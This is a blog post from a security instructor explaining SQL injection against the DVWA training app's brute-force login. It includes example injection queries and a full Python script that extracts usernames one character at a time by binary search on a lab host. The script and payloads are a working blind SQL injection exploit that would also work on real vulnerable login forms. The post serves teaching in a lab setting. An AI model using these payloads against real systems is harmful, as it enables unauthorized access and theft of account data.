Thursday, January 31, 2019

SQL Injection - Using SQL to be Efficient

In a recent class that I was teaching we were talking about SQL injection.  The example and script that I provided the class was trying every character from a to z and if the response was successful then you moved onto the next character.

For example if I use the below query:

SELECT * FROM users WHERE user = '<input>' and password = '<input>';

In the above query the <input> would not be sanitized and you could manipulate the query.  Using DVWA they use this query in the "Brute Force" section under "Low" security.

Here is an example that I have of how SQL injection can be done in the above query to bypass the login:

SELECT * FROM users WHERE user = 'a' OR user LIKE 'a%' OR user = 'b' and password = 'anything';

We could use the above query and go through each character in the alphabet to find the second letter.  This would result in up to 26 queries to find the next letter.  So with the username of "admin" it would take ~41 queries.

Let's try and be more efficient using SQL.  Let's examine the following query:

SELECT * FROM users WHERE user = 'a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b' and password = 'anything';

The query takes the next letter and checks to see if it is in a range of characters.  Then it decreases the range until it is within 3-4 queries of the actual letter.  With the above query to find the name of admin it takes a total of  27 queries given the first letter is an "a" would be 28 queries total.  Using the DVWA "Brute Force" exercise you receive the following query totals to find the following usernames:

Username: admin QueryCount: 27
Username: gordonb QueryCount: 36
Username: pablo QueryCount: 23
Username: smithy QueryCount: 36

Below is the code that I created to show how using SQL in the query to make it more efficient.




#!/usr/bin/python3


# cat temp | grep "Failed" | grep -v "QueryCount: 1" | grep "FirstLetter: a SecondLetter: m"

import urllib.parse
import urllib.request




def establishHeaders():
    # You will need to update the PHPSESSID wit a valid session number
    h = { 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0',
          'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
          'Accept-Language': 'en-US,en;q=0.5',
          'Referer': 'http://typhoon.local/dvwa/vulnerabilities/brute/',
          'Cookie': 'security=low; PHPSESSID=mbco2831mgi1p93dnk35gkbd97',
          'Connection': 'keep-alive',
          'Upgrade-Insecure-Requests': '1',
          'Host': 'typhoon.local' }
    return h


def parseHTML(h):
        for line in h:
            if "<pre>" in line:
                line = line.replace("<pre>
","").replace("</pre>","").replace("\t","")
                return "No"
            elif "Welcome to the password protected area" in line:
                return "Yes"
            #else:
            #    print(line)



def main(letterPassed):
    print("Exploiting BVWA - Brute Force - Low Setting")
    print("-------------------------------------------") 
    # SQL Injection goes between url1 and url2  -- url1 + injection + url2
    url1 = "http://typhoon.local/dvwa/vulnerabilities/brute/?username=" 
    url2 = "&password=x&Login=Login"
    headers = establishHeaders()
    case = "Go"
    usernameSegment=letterPassed
    usernameSegmentCount = 1    # Characters in usernameSegment
    firstletter='a'
    secondletter='m'
    queryCount=0
    while case != "Quit":
        # Automating the SQL Injection with the following
        # a' OR ((SUBSTRING(user, 1, 1) = 'a') AND ((SUBSTRING(user, 2, 1) >= 'a') AND (SUBSTRING(user, 2, 1) <= 'm'))) OR user = 'b       
        # Assumes the first letter of the username is "a" for now...
        sqlinject = "a' OR ((SUBSTRING(user, 1, " + str(usernameSegmentCount) + ") = '" + usernameSegment + "') AND ((SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) >= '" + firstletter + "') AND (SUBSTRING(user, " + str(usernameSegmentCount+1) + ", 1) <= '" + secondletter + "'))) OR user = 'b"
        sql = "SELECT * FROM users WHERE user = '" + sqlinject + "' AND password = ''"
        #print("\n\nSQL: "+ sql)
        sqlinject = sqlinject.replace("%", "%25").replace(" ", "+").replace("'", "%27")
        #postData = urllib.parse.urlencode(data)
        #postData = postData.encode('ascii')
        url = url1 + sqlinject + url2
        #print("\nURL: " + url)
        data = bytes('', 'ascii')
        req = urllib.request.Request(url, data, headers)
        with urllib.request.urlopen(req) as response:
            output = response.read()
        html = output.decode('ascii').split('\n')
        successful = parseHTML(html)
        queryCount += 1
        if successful == "Yes" and firstletter=='a' and secondletter=='m':     # if a-m then a-g
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='g'
        elif successful == "No" and firstletter=='a' and secondletter=='m':     # if not a-m then n-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='z'
        elif successful == "Yes" and firstletter=='n' and secondletter=='z':     # if n-z then n-t
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='t'
        elif successful == "No" and firstletter=='n' and secondletter=='t':     # if n-z and not n-t then u-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='z':     # if n-z and u-z then u-w
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='w'
        elif successful == "No" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and not u-w then x-z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='z'
        elif successful == "Yes" and firstletter=='x' and secondletter=='z':     # if n-z and u-z and x-z then x
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='x'
            secondletter='x'
        elif successful == "No" and firstletter=='x' and secondletter=='x':     # if n-z and u-z and x-z and not x then y
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='y'
            secondletter='y'
        elif successful == "No" and firstletter=='y' and secondletter=='y':     # if n-z and u-z and x-z and not y then z
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='z'
            secondletter='z'
        elif successful == "Yes" and firstletter=='u' and secondletter=='w':     # if n-z and u-z and u-w then u
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='u'
            secondletter='u'
        elif successful == "No" and firstletter=='u' and secondletter=='u':     # if n-z and u-z and u-w and not u then v
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='v'
            secondletter='v'
        elif successful == "No" and firstletter=='v' and secondletter=='v':     # if n-z and u-z and u-w and not v then w
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='w'
            secondletter='w'
        elif successful == "Yes" and firstletter=='n' and secondletter=='t':     # if n-t then n-q
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='q'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "No" and firstletter=='n' and secondletter=='n':     # if n-q and not n then o
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='o'
            secondletter='o'
        elif successful == "No" and firstletter=='o' and secondletter=='o':     # if n-q and not o then p
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='p'
            secondletter='p'
        elif successful == "No" and firstletter=='p' and secondletter=='p':     # if n-q and not p then q
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='q'
            secondletter='q'
        elif successful == "No" and firstletter=='n' and secondletter=='q':     # if n-t and not n-q then r-t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='t'
        elif successful == "Yes" and firstletter=='r' and secondletter=='t':     # if n-t and r-t then r
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='r'
            secondletter='r'
        elif successful == "No" and firstletter=='r' and secondletter=='r':     # if n-t and r-t and not r then s
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='s'
            secondletter='s'
        elif successful == "No" and firstletter=='s' and secondletter=='s':     # if n-t and r-t and not s then t
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='t'
            secondletter='t'
        elif successful == "Yes" and firstletter=='n' and secondletter=='q':     # if n-q then n
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='n'
            secondletter='n'
        elif successful == "Yes" and firstletter=='a' and secondletter=='g':     # if a-m and a-g then a-d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='d'
        elif successful == "No" and firstletter=='a' and secondletter=='g':     # if a-m and not a-g then h-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='m':     # if a-m and h-m then h-j
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='j'
        elif successful == "No" and firstletter=='h' and secondletter=='j':     # if a-m and h-m not h-j then k-m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='m'
        elif successful == "Yes" and firstletter=='k' and secondletter=='m':     # if a-m and h-m and k-m then k
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='k'
            secondletter='k'
        elif successful == "No" and firstletter=='k' and secondletter=='k':     # if a-m and h-m and k-m not k then l
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='l'
            secondletter='l'
        elif successful == "No" and firstletter=='l' and secondletter=='l':     # if a-m and h-m and k-m not l then m
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='m'
            secondletter='m'
        elif successful == "Yes" and firstletter=='h' and secondletter=='j':     # if a-m and h-m and h-j then h
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='h'
            secondletter='h'
        elif successful == "No" and firstletter=='h' and secondletter=='h':     # if a-m and h-m and h-j not h then i
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='i'
            secondletter='i'
        elif successful == "No" and firstletter=='i' and secondletter=='i':     # if a-m and h-m and h-j not i then j
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='j'
            secondletter='j'
        elif successful == "Yes" and firstletter=='a' and secondletter=='d':     # if a-m and a-g and a-d then a
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='a'
            secondletter='a'
        elif successful == "No" and firstletter=='a' and secondletter=='a':     # if a-m and a-g and a-d not a then b
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='b'
            secondletter='b'
        elif successful == "No" and firstletter=='b' and secondletter=='b':     # if a-m and a-g and a-d not b then c
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='c'
            secondletter='c'
        elif successful == "No" and firstletter=='c' and secondletter=='c':     # if a-m and a-g and a-d not c then d
            comment = "Failed - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            firstletter='d'
            secondletter='d'
        elif successful == "Yes" and firstletter==secondletter:     # if a-m and a-g and a-d then d
            comment = "Success - Username: " + usernameSegment + " FirstLetter: " + firstletter + " SecondLetter: " + secondletter + " QueryCount: " + str(queryCount)
            usernameSegment = usernameSegment + firstletter
            firstletter='a'
            secondletter='m'
            usernameSegmentCount += 1
        else:
            comment = "Finished!"
            case = "Quit"
        print(comment)





for letter in 'abcdefghijklmnopqrstuvwxyz':
    main(letter)




b

Test Authentication from Linux Console using python3 pexpect

Working with the IT420 lab, you will discover that we need to discover a vulnerable user account.  The following python3 script uses the pex...